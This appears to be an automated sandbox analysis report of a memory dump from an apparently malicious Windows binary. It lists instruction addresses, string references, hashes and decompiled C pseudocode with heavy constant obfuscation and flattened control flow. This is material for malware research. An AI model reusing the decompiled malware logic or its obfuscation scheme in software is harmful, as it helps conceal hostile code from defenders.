								_t815 = E00F8AD17( &_v108, _v404, _t876, _v412,  &_v76, _v420, _t876, _v116, _v368, _v344, _v376, _t813, _v124, _v188);
								_t982 =  &(_t982[0xc]);
								__eflags = _t815 - _v308;
								if(_t815 != _v308) {
									_t834 = _t974;
								} else {
									_push(_v300);
									_push(_v180);
									_push(_v292);
									_push(_v132);
									_push( *0xfa5be0 + 0x18);
									_t970 = 0x40;
									E00F94626( &_v68, _t970);
									_t982 =  &(_t982[5]);
									_t834 = 0x15fae28;
								}
								E00F92EED(_v172, _v388, _v396, _t980);
								goto L14;
							}
							__eflags = _t834 - 0xe9f0a5a;
							if(_t834 != 0xe9f0a5a) {
								goto L36;
							}
							E00F82CF9(_v316, _v324, _v244, _v252, _v112);
							L25:
							return _t981;
							L36:
							__eflags = _t834 - 0x911112e;
						} while (__eflags != 0);
						goto L25;
					}
				}
			}

0x00f8c69b
0x00f8c6a1
0x00f8c6b9
0x00f8c6c0
0x00f8c6c5
0x00f8c6c8
0x00f8c6c9
0x00f8c6cb
0x00f8c6d0
0x00f8c6d1
0x00f8c6e7
0x00f8c6ee
0x00f8c6f6
0x00f8c701
0x00f8c70c
0x00f8c717
0x00f8c722
0x00f8c72f
0x00f8c732
0x00f8c736
0x00f8c73b
0x00f8c740
0x00f8c748
0x00f8c753
0x00f8c75e
0x00f8c769
0x00f8c774
0x00f8c77f
0x00f8c78a
0x00f8c7a0
0x00f8c7a7
0x00f8c7b2
0x00f8c7ba
0x00f8c7c2
0x00f8c7cc
0x00f8c7cd
0x00f8c7d1
0x00f8c7d9
0x00f8c7e4
0x00f8c7ec
0x00f8c7f4
0x00f8c7ff
0x00f8c80a
0x00f8c812
0x00f8c819
0x00f8c824
0x00f8c82c
0x00f8c834
0x00f8c839
0x00f8c841
0x00f8c849
0x00f8c85c
0x00f8c863
0x00f8c86e
0x00f8c879
0x00f8c884
0x00f8c88f
0x00f8c89a
0x00f8c8b0
0x00f8c8c0
0x00f8c8c5
0x00f8c8ce
0x00f8c8d9
0x00f8c8e1
0x00f8c8e9
0x00f8c8f5
0x00f8c8fa
0x00f8c900
0x00f8c908
0x00f8c913
0x00f8c91b
0x00f8c926
0x00f8c931
0x00f8c93c
0x00f8c947
0x00f8c952
0x00f8c95d
0x00f8c968
0x00f8c973
0x00f8c97e
0x00f8c989
0x00f8c991
0x00f8c999
0x00f8c99e
0x00f8c9a6
0x00f8c9ae
0x00f8c9b9
0x00f8c9c1
0x00f8c9cc
0x00f8c9d7
0x00f8c9de
0x00f8c9e9
0x00f8c9f4
0x00f8c9ff
0x00f8ca0a
0x00f8ca1c
0x00f8ca1f
0x00f8ca26
0x00f8ca31
0x00f8ca44
0x00f8ca4b
0x00f8ca56
0x00f8ca61
0x00f8ca6c
0x00f8ca77
0x00f8ca82
0x00f8ca8d
0x00f8ca98
0x00f8caa5
0x00f8caa9
0x00f8cab1
0x00f8cab6
0x00f8cabe
0x00f8cac9
0x00f8cad4
0x00f8cadc
0x00f8cae7
0x00f8caef
0x00f8cafc
0x00f8cb00
0x00f8cb05
0x00f8cb0d
0x00f8cb15
0x00f8cb1d
0x00f8cb25
0x00f8cb2a
0x00f8cb32
0x00f8cb3d
0x00f8cb4a
0x00f8cb52
0x00f8cb5d
0x00f8cb72
0x00f8cb75
0x00f8cb76
0x00f8cb7d
0x00f8cb88
0x00f8cb9d
0x00f8cba4
0x00f8cbaf
0x00f8cbba
0x00f8cbc5
0x00f8cbd0
0x00f8cbdb
0x00f8cbe3
0x00f8cbeb
0x00f8cbf5
0x00f8cbf9
0x00f8cc01
0x00f8cc0e
0x00f8cc12
0x00f8cc17
0x00f8cc1f
0x00f8cc27
0x00f8cc2f
0x00f8cc34
0x00f8cc41
0x00f8cc45
0x00f8cc4d
0x00f8cc55
0x00f8cc5a
0x00f8cc6a
0x00f8cc6e
0x00f8cc76
0x00f8cc86
0x00f8cc8f
0x00f8cc90
0x00f8cc9a
0x00f8cc9e
0x00f8cca6
0x00f8ccae
0x00f8ccb6
0x00f8ccbe
0x00f8ccc3
0x00f8cccb
0x00f8ccd6
0x00f8cce1
0x00f8ccec
0x00f8ccff
0x00f8cd06
0x00f8cd11
0x00f8cd1c
0x00f8cd27
0x00f8cd32
0x00f8cd3d
0x00f8cd45
0x00f8cd50
0x00f8cd5b
0x00f8cd66
0x00f8cd6e
0x00f8cd79
0x00f8cd86
0x00f8cd8e
0x00f8cd99
0x00f8cda4
0x00f8cdb8
0x00f8cdbd
0x00f8cdc6
0x00f8cdd1
0x00f8cdde
0x00f8cde1
0x00f8cde5
0x00f8cded
0x00f8cdf5
0x00f8cdfd
0x00f8ce05
0x00f8ce0d
0x00f8ce17
0x00f8ce1b
0x00f8ce23
0x00f8ce2b
0x00f8ce33
0x00f8ce3b
0x00f8ce43
0x00f8ce47
0x00f8ce4f
0x00f8ce5a
0x00f8ce6c
0x00f8ce71
0x00f8ce7a
0x00f8ce85
0x00f8ce92
0x00f8ce95
0x00f8ce99
0x00f8cea6
0x00f8ceaa
0x00f8ceb2
0x00f8ceba
0x00f8cebf
0x00f8cec7
0x00f8cecf
0x00f8ced7
0x00f8cee2
0x00f8ceea
0x00f8cef5
0x00f8cf05
0x00f8cf0d
0x00f8cf10
0x00f8cf14
0x00f8cf1c
0x00f8cf24
0x00f8cf37
0x00f8cf3e
0x00f8cf46
0x00f8cf51
0x00f8cf5c
0x00f8cf64
0x00f8cf6f
0x00f8cf7c
0x00f8cf90
0x00f8cf95
0x00f8cf9c
0x00f8cfa7
0x00f8cfb5
0x00f8cfba
0x00f8cfbe
0x00f8cfc9
0x00f8cfce
0x00f8cfd2
0x00f8cfda
0x00f8cfe5
0x00f8cfed
0x00f8cff8
0x00f8d003
0x00f8d00e
0x00f8d019
0x00f8d027
0x00f8d02c
0x00f8d038
0x00f8d03c
0x00f8d044
0x00f8d04c
0x00f8d057
0x00f8d062
0x00f8d06d
0x00f8d078
0x00f8d083
0x00f8d08e
0x00f8d096
0x00f8d0a6
0x00f8d0aa
0x00f8d0af
0x00f8d0b7
0x00f8d0c2
0x00f8d0ca
0x00f8d0d5
0x00f8d0e0
0x00f8d0eb
0x00f8d0f6
0x00f8d101
0x00f8d10c
0x00f8d114
0x00f8d11f
0x00f8d12a
0x00f8d135
0x00f8d140
0x00f8d14b
0x00f8d156
0x00f8d161
0x00f8d16c
0x00f8d177
0x00f8d184
0x00f8d190
0x00f8d195
0x00f8d19b
0x00f8d1a3
0x00f8d1ac
0x00f8d1b1
0x00f8d1b6
0x00f8d1bc
0x00f8d1c4
0x00f8d1d6
0x00f8d1db
0x00f8d1e4
0x00f8d1ec
0x00f8d1f7
0x00f8d1ff
0x00f8d207
0x00f8d20f
0x00f8d217
0x00f8d21f
0x00f8d227
0x00f8d22c
0x00f8d234
0x00f8d23c
0x00f8d244
0x00f8d24c
0x00f8d258
0x00f8d25d
0x00f8d267
0x00f8d26c
0x00f8d272
0x00f8d27a
0x00f8d285
0x00f8d294
0x00f8d297
0x00f8d29e
0x00f8d2a9
0x00f8d2a9
0x00f8d2a9
0x00f8d2ae
0x00f8d2ae
0x00f8d2ae
0x00f8d2b3
0x00f8d2b3
0x00f8d2b3
0x00f8d2b3
0x00f8d2b9
0x00000000
0x00000000
0x00f8d2bf
0x00f8d48f
0x00f8d496
0x00f8d2a9
0x00f8d2a9
0x00f8d2a9
0x00f8d2ae
0x00f8d2ae
0x00000000
0x00f8d2ae
0x00f8d2a9
0x00f8d2c7
0x00f8d462
0x00f8d469
0x00f8d2a9
0x00f8d2a9
0x00f8d2a9
0x00000000
0x00f8d2a9
0x00f8d2a9
0x00f8d2cf
0x00f8d435
0x00f8d43c
0x00f8d442
0x00f8d444
0x00f8d2a9
0x00f8d2a9
0x00f8d2a9
0x00000000
0x00f8d2a9
0x00f8d2a9
0x00f8d2db
0x00f8d40e
0x00f8d41a
0x00f8d41d
0x00f8d421
0x00f8d426
0x00000000
0x00f8d426
0x00f8d2e7
0x00f8d359
0x00f8d35e
0x00f8d3bc
0x00f8d3d2
0x00f8d3d9
0x00f8d3de
0x00f8d3e1
0x00f8d3e1
0x00f8d715
0x00f8d715
0x00f8d71a
0x00000000
0x00f8d71a
0x00f8d2ef
0x00f8d33f
0x00000000
0x00f8d33f
0x00f8d2f3
0x00000000
0x00000000
0x00f8d328
0x00f8d32d
0x00f8d337
0x00f8d2a9
0x00f8d2a9
0x00f8d2a9
0x00000000
0x00f8d2a9
0x00f8d2a9
0x00f8d4a2
0x00f8d4a4
0x00f8d6c7
0x00f8d6f5
0x00f8d6fa
0x00f8d6fd
0x00f8d704
0x00f8d710
0x00000000
0x00f8d710
0x00f8d706
0x00f8d2a9
0x00f8d2a9
0x00f8d2a9
0x00000000
0x00f8d2a9
0x00f8d2a9
0x00f8d4aa
0x00f8d4b0
0x00f8d6ab
0x00f8d6b2
0x00000000
0x00f8d6b2
0x00f8d4b6
0x00f8d4bc
0x00f8d5e0
0x00f8d5e5
0x00f8d5fa
0x00f8d645
0x00f8d65b
0x00f8d665
0x00f8d680
0x00f8d685
0x00f8d688
0x00000000
0x00f8d688
0x00f8d4c2
0x00f8d4c4
0x00f8d512
0x00f8d517
0x00f8d51f
0x00f8d527
0x00f8d529
0x00f8d568
0x00f8d56d
0x00f8d570
0x00f8d577
0x00f8d5b7
0x00f8d579
0x00f8d579
0x00f8d587
0x00f8d58e
0x00f8d595
0x00f8d5a4
0x00f8d5a7
0x00f8d5a8
0x00f8d5ad
0x00f8d5b0
0x00f8d5b0
0x00f8d5c9
0x00000000
0x00f8d5cf
0x00f8d4c6
0x00f8d4cc
0x00000000
0x00000000
0x00f8d4f2
0x00f8d4fc
0x00f8d506
0x00f8d71f
0x00f8d71f
0x00f8d71f
0x00000000
0x00f8d72b
0x00f8d2ae

Strings

RN, xrefs: 00F8D688
YB, xrefs: 00F8D0EB
g, xrefs: 00F8CC9E
H, xrefs: 00F8CDC6
w:", xrefs: 00F8CD32
U, xrefs: 00F8D03C
K8zQ, xrefs: 00F8CECF
dV, xrefs: 00F8CDED
D1, xrefs: 00F8D062
oaj, xrefs: 00F8CE3B
]^, xrefs: 00F8CD6E
9K, xrefs: 00F8C80A
RN, xrefs: 00F8D1A3
hcuU, xrefs: 00F8D234
~Y, xrefs: 00F8CD1C
eCf, xrefs: 00F8CE1B

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 9K$D1$K8zQ$YB$]^$dV$eCf$g$hcuU$oaj$w:"$~Y$H$RN$RN$U
API String ID: 0-3730166627
Opcode ID: bfaa637eee392c1eef55470ace17709539b0e949b80585afa872ccf8ee444758
Instruction ID: 41f11604ecdbd01486ac26f71fa1ab39654088965fe640261af6ad44b794c451
Opcode Fuzzy Hash: bfaa637eee392c1eef55470ace17709539b0e949b80585afa872ccf8ee444758
Instruction Fuzzy Hash: 07820F715083818FD378CF25C98AB8BBBE2BBC5314F10891DE5D9962A0DBB19949DF43

Uniqueness

Uniqueness Score: -1.00%

Function 00F91C12, Relevance: 20.6, Strings: 16, Instructions: 644
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00F91C12(void* __ecx) {
				char _v524;
				char _v1044;
				char _v1564;
				char _v2084;
				char _v2604;
				signed int _v2608;
				intOrPtr _v2612;
				intOrPtr _v2616;
				intOrPtr _v2620;
				char _v2624;
				intOrPtr _v2628;
				char _v2632;
				signed int _v2636;
				signed int _v2640;
				signed int _v2644;
				signed int _v2648;
				signed int _v2652;
				signed int _v2656;
				signed int _v2660;
				signed int _v2664;
				signed int _v2668;
				signed int _v2672;
				signed int _v2676;
				signed int _v2680;
				signed int _v2684;
				signed int _v2688;
				signed int _v2692;
				signed int _v2696;
				signed int _v2700;
				signed int _v2704;
				signed int _v2708;
				signed int _v2712;
				signed int _v2716;
				signed int _v2720;
				signed int _v2724;
				signed int _v2728;
				signed int _v2732;
				signed int _v2736;
				signed int _v2740;
				signed int _v2744;
				signed int _v2748;
				signed int _v2752;
				signed int _v2756;
				signed int _v2760;
				signed int _v2764;
				signed int _v2768;
				signed int _v2772;
				signed int _v2776;
				signed int _v2780;
				signed int _v2784;
				signed int _v2788;
				signed int _v2792;
				signed int _v2796;
				signed int _v2800;
				signed int _v2804;
				signed int _v2808;
				signed int _v2812;
				signed int _v2816;
				signed int _v2820;
				signed int _v2824;
				signed int _v2828;
				signed int _v2832;
				signed int _v2836;
				signed int _v2840;
				signed int _v2844;
				signed int _v2848;
				signed int _v2852;
				signed int _v2856;
				signed int _v2860;
				signed int _v2864;
				signed int _v2868;
				signed int _v2872;
				signed int _v2876;
				unsigned int _v2880;
				signed int _v2884;
				signed int _v2888;
				signed int _v2892;
				signed int _v2896;
				signed int _v2900;
				signed int _v2904;
				signed int _v2908;
				signed int _v2912;
				signed int _v2916;
				signed int _v2920;
				signed int _v2924;
				signed int _v2928;
				signed int _v2932;
				void* _t755;
				void* _t756;
				short* _t766;
				signed int _t773;
				signed int _t779;
				signed int _t788;
				void* _t791;
				signed int _t793;
				signed int _t794;
				signed int _t795;
				signed int _t796;
				signed int _t797;
				signed int _t798;
				signed int _t799;
				signed int _t800;
				signed int _t801;
				signed int _t802;
				signed int _t803;
				signed int _t804;
				signed int _t805;
				signed int _t806;
				signed int _t807;
				signed int _t808;
				signed int _t809;
				void* _t812;
				signed int _t877;
				void* _t882;
				signed int* _t883;
				signed int* _t884;
				void* _t887;

				_t883 =  &_v2932;
				_v2608 = _v2608 & 0x00000000;
				_v2612 = 0xa3d4eb;
				_v2660 = 0x6758cb;
				_v2660 = _v2660 << 4;
				_v2660 = _v2660 ^ 0x06758c99;
				_v2732 = 0xdc8525;
				_v2732 = _v2732 | 0x3ff23f5d;
				_v2732 = _v2732 ^ 0x3feebf7d;
				_v2928 = 0xfbcda8;
				_v2928 = _v2928 | 0x9eb5e9b7;
				_v2928 = _v2928 + 0xffff6f36;
				_v2928 = _v2928 + 0xffffec33;
				_v2928 = _v2928 ^ 0x9ef08d4a;
				_v2756 = 0xde70d9;
				_t882 = __ecx;
				_t877 = 0x99d8a48;
				_t793 = 0x28;
				_v2756 = _v2756 / _t793;
				_v2756 = _v2756 | 0x7728469f;
				_v2756 = _v2756 ^ 0x772920e1;
				_v2900 = 0xe4279b;
				_v2900 = _v2900 >> 0xc;
				_v2900 = _v2900 * 0x68;
				_v2900 = _v2900 + 0xffff73cc;
				_v2900 = _v2900 ^ 0x000006fc;
				_v2688 = 0xa4ffcb;
				_v2688 = _v2688 + 0xffff5cd6;
				_v2688 = _v2688 ^ 0x00a04a41;
				_v2908 = 0xc9c6ce;
				_v2908 = _v2908 | 0xf5fbf83a;
				_v2908 = _v2908 + 0x7e10;
				_v2908 = _v2908 / _t793;
				_v2908 = _v2908 ^ 0x062c0b4a;
				_v2916 = 0x7f9442;
				_v2916 = _v2916 << 0xb;
				_v2916 = _v2916 ^ 0x8520fee0;
				_v2916 = _v2916 + 0xe609;
				_v2916 = _v2916 ^ 0x798f337b;
				_v2652 = 0x9f68d1;
				_t794 = 0x4e;
				_v2652 = _v2652 * 0x2e;
				_v2652 = _v2652 ^ 0x1cad1c96;
				_v2680 = 0x874387;
				_v2680 = _v2680 / _t794;
				_v2680 = _v2680 ^ 0x000eef56;
				_v2740 = 0x218d86;
				_v2740 = _v2740 ^ 0x8da9a7ec;
				_v2740 = _v2740 + 0xffff8c18;
				_v2740 = _v2740 ^ 0x8d8801a5;
				_v2780 = 0xd8f554;
				_v2780 = _v2780 >> 0xb;
				_v2780 = _v2780 >> 7;
				_v2780 = _v2780 ^ 0x00079072;
				_v2892 = 0x1ce380;
				_v2892 = _v2892 ^ 0x506392b2;
				_v2892 = _v2892 >> 2;
				_v2892 = _v2892 ^ 0xa7f562ec;
				_v2892 = _v2892 ^ 0xb3eeada2;
				_v2748 = 0x4b6045;
				_v2748 = _v2748 | 0xfff2b3bd;
				_v2748 = _v2748 ^ 0xfffe78ab;
				_v2772 = 0x44b019;
				_v2772 = _v2772 << 6;
				_v2772 = _v2772 ^ 0xdf8519b0;
				_v2772 = _v2772 ^ 0xcea55934;
				_v2672 = 0x9de851;
				_v2672 = _v2672 + 0xdaae;
				_v2672 = _v2672 ^ 0x009a5a0c;
				_v2816 = 0xce234;
				_v2816 = _v2816 ^ 0xef3b6bc0;
				_v2816 = _v2816 + 0xb943;
				_v2816 = _v2816 ^ 0xef313dc6;
				_v2644 = 0x831e64;
				_v2644 = _v2644 << 7;
				_v2644 = _v2644 ^ 0x418cd6ce;
				_v2792 = 0xb71d5;
				_v2792 = _v2792 + 0xd0e6;
				_v2792 = _v2792 >> 1;
				_v2792 = _v2792 ^ 0x000ab854;
				_v2800 = 0xbc4add;
				_v2800 = _v2800 >> 4;
				_v2800 = _v2800 >> 4;
				_v2800 = _v2800 ^ 0x000f3ccc;
				_v2860 = 0xc7de55;
				_v2860 = _v2860 >> 8;
				_v2860 = _v2860 >> 3;
				_v2860 = _v2860 + 0xffffb96d;
				_v2860 = _v2860 ^ 0xfff9a10f;
				_v2868 = 0x50e0;
				_v2868 = _v2868 << 0x10;
				_v2868 = _v2868 ^ 0x31c9bada;
				_v2868 = _v2868 << 3;
				_v2868 = _v2868 ^ 0x0945daeb;
				_v2876 = 0x5f8cf7;
				_v2876 = _v2876 ^ 0xc877f21d;
				_v2876 = _v2876 + 0x5049;
				_v2876 = _v2876 ^ 0xb9ce624b;
				_v2876 = _v2876 ^ 0x71e38bc3;
				_v2884 = 0xd45199;
				_v2884 = _v2884 + 0x1b0f;
				_v2884 = _v2884 ^ 0x78878a0d;
				_v2884 = _v2884 >> 0x10;
				_v2884 = _v2884 ^ 0x0002122d;
				_v2784 = 0xb41ca7;
				_v2784 = _v2784 >> 6;
				_v2784 = _v2784 << 5;
				_v2784 = _v2784 ^ 0x005b868a;
				_v2636 = 0x8dae72;
				_v2636 = _v2636 + 0xffffc621;
				_v2636 = _v2636 ^ 0x008635a7;
				_v2664 = 0x1c5bb7;
				_v2664 = _v2664 + 0x2d8a;
				_v2664 = _v2664 ^ 0x0011f5d8;
				_v2760 = 0x485545;
				_t204 =  &_v2760; // 0x485545
				_t795 = 0x2b;
				_v2760 =  *_t204 / _t795;
				_t210 =  &_v2760; // 0x772920e1
				_t796 = 0x33;
				_v2760 =  *_t210 / _t796;
				_v2760 = _v2760 ^ 0x0005bb0a;
				_v2768 = 0x206724;
				_v2768 = _v2768 + 0xbd1f;
				_t797 = 0x66;
				_v2768 = _v2768 * 0x7b;
				_v2768 = _v2768 ^ 0x0fe22bc5;
				_v2776 = 0x718f5a;
				_v2776 = _v2776 * 0x3f;
				_v2776 = _v2776 ^ 0xe004a3c2;
				_v2776 = _v2776 ^ 0xfbf0dedb;
				_v2852 = 0x30668;
				_v2852 = _v2852 / _t797;
				_v2852 = _v2852 * 0x79;
				_t798 = 0x34;
				_v2852 = _v2852 * 0x41;
				_v2852 = _v2852 ^ 0x00e90d43;
				_v2880 = 0xddde8d;
				_v2880 = _v2880 + 0xffff9e4d;
				_v2880 = _v2880 ^ 0x2170423a;
				_v2880 = _v2880 >> 1;
				_v2880 = _v2880 ^ 0x10d47b31;
				_v2764 = 0x8f88ee;
				_v2764 = _v2764 + 0xffff0386;
				_v2764 = _v2764 * 0x4a;
				_v2764 = _v2764 ^ 0x293e38ba;
				_v2932 = 0x1330a6;
				_v2932 = _v2932 << 0x10;
				_v2932 = _v2932 ^ 0x26950d85;
				_v2932 = _v2932 | 0xf53ba417;
				_v2932 = _v2932 ^ 0xf73491db;
				_v2848 = 0x8b68d8;
				_v2848 = _v2848 + 0xffffc5d2;
				_v2848 = _v2848 / _t798;
				_t799 = 0x44;
				_v2848 = _v2848 * 0x12;
				_v2848 = _v2848 ^ 0x00302441;
				_v2796 = 0x487ac0;
				_v2796 = _v2796 >> 2;
				_v2796 = _v2796 << 2;
				_v2796 = _v2796 ^ 0x0044512a;
				_v2788 = 0x814d4e;
				_v2788 = _v2788 << 0xd;
				_v2788 = _v2788 + 0xffffeb04;
				_v2788 = _v2788 ^ 0x29afe2cb;
				_v2648 = 0x81f400;
				_v2648 = _v2648 / _t799;
				_v2648 = _v2648 ^ 0x0007d40f;
				_v2924 = 0x344f86;
				_v2924 = _v2924 * 0x6e;
				_v2924 = _v2924 | 0xa7e46eb9;
				_v2924 = _v2924 << 7;
				_v2924 = _v2924 ^ 0xff3431be;
				_v2696 = 0x5309a4;
				_v2696 = _v2696 + 0xabda;
				_v2696 = _v2696 ^ 0x0057eeeb;
				_v2640 = 0xcd8354;
				_v2640 = _v2640 * 0x30;
				_v2640 = _v2640 ^ 0x268d1ae3;
				_v2736 = 0x8b4c85;
				_v2736 = _v2736 + 0xffffcdbf;
				_v2736 = _v2736 >> 9;
				_v2736 = _v2736 ^ 0x00036e60;
				_v2700 = 0x49adfc;
				_v2700 = _v2700 | 0xa8ad8379;
				_v2700 = _v2700 ^ 0xa8e07f1f;
				_v2836 = 0x26ed3a;
				_v2836 = _v2836 << 4;
				_v2836 = _v2836 ^ 0xdd500379;
				_v2836 = _v2836 ^ 0x075ca1f5;
				_v2836 = _v2836 ^ 0xd8654197;
				_v2864 = 0x88b41;
				_v2864 = _v2864 ^ 0x8a41e3e3;
				_v2864 = _v2864 << 2;
				_v2864 = _v2864 * 0x3d;
				_v2864 = _v2864 ^ 0xcdf16822;
				_v2712 = 0x130ad6;
				_v2712 = _v2712 + 0x26b0;
				_v2712 = _v2712 ^ 0x001463fa;
				_v2912 = 0xf18913;
				_t800 = 0x60;
				_v2912 = _v2912 / _t800;
				_v2912 = _v2912 ^ 0xfb8d6542;
				_v2912 = _v2912 ^ 0x1ef95146;
				_v2912 = _v2912 ^ 0xe575fcb3;
				_v2832 = 0xd4991f;
				_v2832 = _v2832 >> 1;
				_t801 = 0x19;
				_v2832 = _v2832 * 0x39;
				_v2832 = _v2832 + 0x6431;
				_v2832 = _v2832 ^ 0x17a3d9f5;
				_v2840 = 0x943911;
				_v2840 = _v2840 ^ 0xe2670b6e;
				_v2840 = _v2840 + 0x24d4;
				_v2840 = _v2840 << 0xd;
				_v2840 = _v2840 ^ 0x6aeb880a;
				_v2904 = 0xa538e8;
				_v2904 = _v2904 >> 0xc;
				_v2904 = _v2904 ^ 0x62edf37a;
				_v2904 = _v2904 + 0xa832;
				_v2904 = _v2904 ^ 0x62e4cbfc;
				_v2888 = 0x16e2bd;
				_v2888 = _v2888 + 0xffff7f28;
				_v2888 = _v2888 * 0x64;
				_v2888 = _v2888 >> 7;
				_v2888 = _v2888 ^ 0x0018f901;
				_v2656 = 0x3f6e99;
				_v2656 = _v2656 >> 0xb;
				_v2656 = _v2656 ^ 0x0009fe52;
				_v2804 = 0xfa19bd;
				_v2804 = _v2804 / _t801;
				_v2804 = _v2804 << 0xa;
				_v2804 = _v2804 ^ 0x28048f08;
				_v2856 = 0x7adc8b;
				_t802 = 3;
				_v2856 = _v2856 / _t802;
				_v2856 = _v2856 << 0xe;
				_v2856 = _v2856 << 9;
				_v2856 = _v2856 ^ 0x17040ca6;
				_v2896 = 0x5caea7;
				_t803 = 0x48;
				_v2896 = _v2896 / _t803;
				_v2896 = _v2896 + 0xffff6657;
				_v2896 = _v2896 + 0xa67d;
				_v2896 = _v2896 ^ 0x000329ba;
				_v2812 = 0x1fcfbe;
				_v2812 = _v2812 >> 6;
				_t804 = 0x38;
				_v2812 = _v2812 / _t804;
				_v2812 = _v2812 ^ 0x0007b63c;
				_v2720 = 0xe95658;
				_v2720 = _v2720 >> 7;
				_v2720 = _v2720 ^ 0x00071478;
				_v2808 = 0x91ff61;
				_v2808 = _v2808 << 7;
				_v2808 = _v2808 | 0xd2954662;
				_v2808 = _v2808 ^ 0xdaf4ea8a;
				_v2824 = 0x446ad6;
				_v2824 = _v2824 ^ 0x83a91402;
				_t805 = 0x4c;
				_v2824 = _v2824 * 0x45;
				_v2824 = _v2824 >> 0x10;
				_v2824 = _v2824 ^ 0x000353dc;
				_v2708 = 0x4b7422;
				_v2708 = _v2708 >> 3;
				_v2708 = _v2708 ^ 0x0008e5f0;
				_v2844 = 0xac34a;
				_v2844 = _v2844 * 0xd;
				_v2844 = _v2844 * 0x1a;
				_v2844 = _v2844 >> 0x10;
				_v2844 = _v2844 ^ 0x0002a3d0;
				_v2716 = 0x7960bf;
				_v2716 = _v2716 + 0xffffc462;
				_v2716 = _v2716 ^ 0x007665d3;
				_v2744 = 0xbebd75;
				_v2744 = _v2744 ^ 0x7a1f8fc9;
				_v2744 = _v2744 / _t805;
				_v2744 = _v2744 ^ 0x0198bdde;
				_v2752 = 0x962c9a;
				_v2752 = _v2752 + 0xfffffa67;
				_t806 = 0x2e;
				_v2752 = _v2752 / _t806;
				_v2752 = _v2752 ^ 0x00030d52;
				_v2920 = 0x9dfed8;
				_v2920 = _v2920 ^ 0x0302cebd;
				_v2920 = _v2920 + 0x73d2;
				_v2920 = _v2920 >> 0xf;
				_v2920 = _v2920 ^ 0x000ba8ee;
				_v2872 = 0x884e2b;
				_v2872 = _v2872 | 0x5783eec3;
				_v2872 = _v2872 << 7;
				_v2872 = _v2872 + 0x1dcf;
				_v2872 = _v2872 ^ 0xc5fa8f40;
				_v2668 = 0x393d56;
				_v2668 = _v2668 >> 6;
				_v2668 = _v2668 ^ 0x0000ab92;
				_v2704 = 0x58f1e9;
				_t807 = 0x7c;
				_v2704 = _v2704 / _t807;
				_v2704 = _v2704 ^ 0x00048cf6;
				_v2820 = 0x3ec6d0;
				_v2820 = _v2820 + 0x5fc5;
				_t808 = 0x21;
				_v2820 = _v2820 / _t808;
				_v2820 = _v2820 ^ 0xd86d8e19;
				_v2820 = _v2820 ^ 0xd8634d78;
				_v2828 = 0xe4a70b;
				_v2828 = _v2828 ^ 0x2abc0881;
				_v2828 = _v2828 ^ 0xa79f6464;
				_v2828 = _v2828 >> 0xf;
				_v2828 = _v2828 ^ 0x000c3a60;
				_v2684 = 0x315a2d;
				_v2684 = _v2684 | 0xacf80d9c;
				_v2684 = _v2684 ^ 0xacfa1597;
				_v2692 = 0x63e424;
				_v2692 = _v2692 + 0x44ad;
				_v2692 = _v2692 ^ 0x0068b9d0;
				_v2724 = 0xdbaa4f;
				_v2724 = _v2724 + 0xffffd825;
				_v2724 = _v2724 ^ 0x00d800e8;
				_v2728 = 0xc5e7f7;
				_v2728 = _v2728 << 0xf;
				_v2728 = _v2728 << 0xd;
				_v2728 = _v2728 ^ 0x7003c940;
				_v2676 = 0x7098dc;
				_v2676 = _v2676 ^ 0x810ef473;
				_v2676 = _v2676 ^ 0x817bc99c;
				_t755 = E00F8ADFC();
				_t876 = _v2724;
				_t791 = _t755;
				while(1) {
					L1:
					_t756 = 0x32a72b9;
					do {
						while(1) {
							L2:
							_t887 = _t877 - 0x99d8a48;
							if(_t887 > 0) {
								break;
							}
							if(_t887 == 0) {
								_push(_t809);
								_t809 = _v2756;
								E00F8E259(_t809, _v2660, _v2900, _v2688, _t809, _t809,  &_v1564, _v2908, _v2916);
								_t883 =  &(_t883[8]);
								_t877 = 0xe471d7b;
								while(1) {
									L1:
									_t756 = 0x32a72b9;
									goto L2;
								}
							} else {
								if(_t877 == 0xe4882e) {
									_v2620 = E00F83789();
									_t779 = E00F8F14F(_v2932, _t778, _v2848, _v2796);
									_pop(_t812);
									_v2616 = 2 + _t779 * 2;
									_t809 = _v2788;
									_t773 = E00F98727(_t809,  &_v2624, _v2648, _t791, _v2924, _v2732, _v2696, _t791, _t812, _t791, _v2640);
									_t883 =  &(_t883[0xa]);
									__eflags = _t773;
									if(__eflags != 0) {
										_t877 = 0xc8e8e82;
										while(1) {
											L1:
											_t756 = 0x32a72b9;
											goto L2;
										}
									}
								} else {
									if(_t877 == _t756) {
										_push(0xf812a0);
										E00F88C65(_v2888, __eflags,  &_v2604,  &_v1564, _v2656, _t876, _v2804, E00FA0AD3(_v2840, _v2904, __eflags), _v2856,  &_v524, _v2896, _v2812);
										_t809 = _v2720;
										E00F92EED(_t809, _v2808, _v2824, _t782);
										_t883 =  &(_t883[0xc]);
										_t877 = 0xca1945b;
										while(1) {
											L1:
											_t756 = 0x32a72b9;
											goto L2;
										}
									} else {
										if(_t877 == 0x3352d63) {
											_t809 = _v2864;
											_t788 = E00F87739(_t809, _v2712, _v2632, _v2912, _v2628, _v2832);
											_t876 = _t788;
											_t883 =  &(_t883[4]);
											__eflags = _t788;
											_t756 = 0x32a72b9;
											_t877 =  !=  ? 0x32a72b9 : 0xc5894d6;
											continue;
										} else {
											if(_t877 == 0x5779399) {
												return E00F99038(_v2724, _v2728, _v2624, _v2676);
											}
											if(_t877 != 0x58d7aaf) {
												goto L24;
											} else {
												_t809 = _v2920;
												E00F8F699(_t809, _t876, _v2872, _v2668, _v2704);
												_t883 =  &(_t883[3]);
												_t877 = 0xc5894d6;
												while(1) {
													L1:
													_t756 = 0x32a72b9;
													goto L2;
												}
											}
										}
									}
									L28:
								}
							}
							L27:
							return _t773;
							goto L28;
						}
						__eflags = _t877 - 0xc5894d6;
						if(_t877 == 0xc5894d6) {
							_t809 = _v2820;
							E00F8F699(_t809, _v2632, _v2828, _v2684, _v2692);
							_t883 =  &(_t883[3]);
							_t877 = 0x5779399;
							_t756 = 0x32a72b9;
							goto L24;
						} else {
							__eflags = _t877 - 0xc8e8e82;
							if(_t877 == 0xc8e8e82) {
								_t809 = _v2736;
								E00F97EDD( &_v2624, _v2700,  &_v2632, _v2836);
								_t883 =  &(_t883[3]);
								asm("sbb esi, esi");
								_t877 = (_t877 & 0xfdbd99ca) + 0x5779399;
								goto L1;
							} else {
								__eflags = _t877 - 0xca1945b;
								if(__eflags == 0) {
									_push(_v2752);
									_push( &_v524);
									_push(0);
